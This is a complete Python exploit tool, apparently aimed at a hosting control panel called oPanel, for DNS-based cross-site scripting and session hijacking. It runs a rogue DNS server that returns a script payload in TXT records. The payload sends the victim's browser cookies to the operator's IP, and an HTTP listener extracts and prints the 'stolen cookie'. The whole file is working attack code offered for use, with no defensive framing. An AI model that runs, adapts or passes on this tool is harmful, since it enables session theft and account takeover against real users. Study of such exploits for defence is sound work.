import socket
import threading
import re
import argparse
from dnslib import DNSRecord, RR, QTYPE, TXT, A

class DNSExploit:
    def __init__(self, my_ip, http_port, dns_port):
        self.my_ip = my_ip
        self.http_port = http_port
        self.dns_port = dns_port
        # Payload: Çerezi yakalayıp HTTP portumuza gönderir
        self.payload = f"<script>new Image().src='http://{self.my_ip}:{self.http_port}/log?cookie='+document.cookie;</script>"

    def print_banner(self):
        banner = f"""
    #######################################################
    #                                                     #
    #        oPanel DNS-Based XSS & Session Hijacker      #
    #                  Exploit Tool v1.0                  #
    #                                                     #
    #  Written by: Deniz Bektas (info@denizbektas.com.tr) #
    #  Date: 14 April 2026                                #
    #                                                     #
    #######################################################
    [*] Local IP: {self.my_ip}
    [*] DNS Port: {self.dns_port} (UDP)
    [*] HTTP Port: {self.http_port} (TCP)
        """
        print(banner)

    def dns_server(self):
        """UDP DNS Sunucusu: Gelen her TXT sorgusuna XSS payload'u döner."""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            sock.bind(('0.0.0.0', self.dns_port))
        except PermissionError:
            print(f"[-] Error: Port {self.dns_port} requires root privileges!")
            return

        print(f"[*] DNS Server started. Waiting for queries...")
        while True:
            data, addr = sock.recvfrom(1024)
            request = DNSRecord.parse(data)
            reply = request.reply()
            qname = request.q.qname
            
            # Zehirli TXT kaydını ekle
            reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(self.payload)))
            # A kaydı ekle (Sorgu tamamlanması için)
            reply.add_answer(RR(qname, QTYPE.A, rdata=A(self.my_ip)))
            
            sock.sendto(reply.pack(), addr)
            print(f"[DNS] Query received from {addr[0]} for {qname} -> Payload Sent!")

    def http_listener(self):
        """TCP HTTP Listener: Gelen GET isteğinden çerezi ayıklar."""
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(('0.0.0.0', self.http_port))
        sock.listen(5)
        
        print(f"[*] HTTP Listener started. Waiting for cookies...")
        while True:
            conn, addr = sock.accept()
            raw_request = conn.recv(2048).decode('utf-8', errors='ignore')
            
            # Regex ile çerezi yakala
            cookie_match = re.search(r'cookie=(.*?) HTTP', raw_request)
            if cookie_match:
                stolen_cookie = cookie_match.group(1)
                print("\n" + "!"*60)
                print(f"[!!!] EXFILTRATION SUCCESSFUL [From: {addr[0]}]")
                print(f"[!!!] STOLEN COOKIE: {stolen_cookie}")
                print("!"*60 + "\n")
            
            # Kurbanın tarayıcısına boş cevap dön
            response = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
            conn.sendall(response.encode())
            conn.close()

    def run(self):
        self.print_banner()
        # Threading ile her iki servisi aynı anda çalıştır
        dns_thread = threading.Thread(target=self.dns_server, daemon=True)
        http_thread = threading.Thread(target=self.http_listener, daemon=True)
        
        dns_thread.start()
        http_thread.start()

        try:
            while True: pass
        except KeyboardInterrupt:
            print("\n[*] Shutting down exploit...")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="oPanel DNS-XSS Exploit")
    parser.add_argument("-i", "--ip", required=True, help="Your Local/Public IP address")
    parser.add_argument("--hp", type=int, default=80, help="HTTP Port to listen (default 80)")
    parser.add_argument("--dp", type=int, default=53, help="DNS Port to listen (default 53)")
    
    args = parser.parse_args()
    exploit = DNSExploit(args.ip, args.hp, args.dp)
    exploit.run()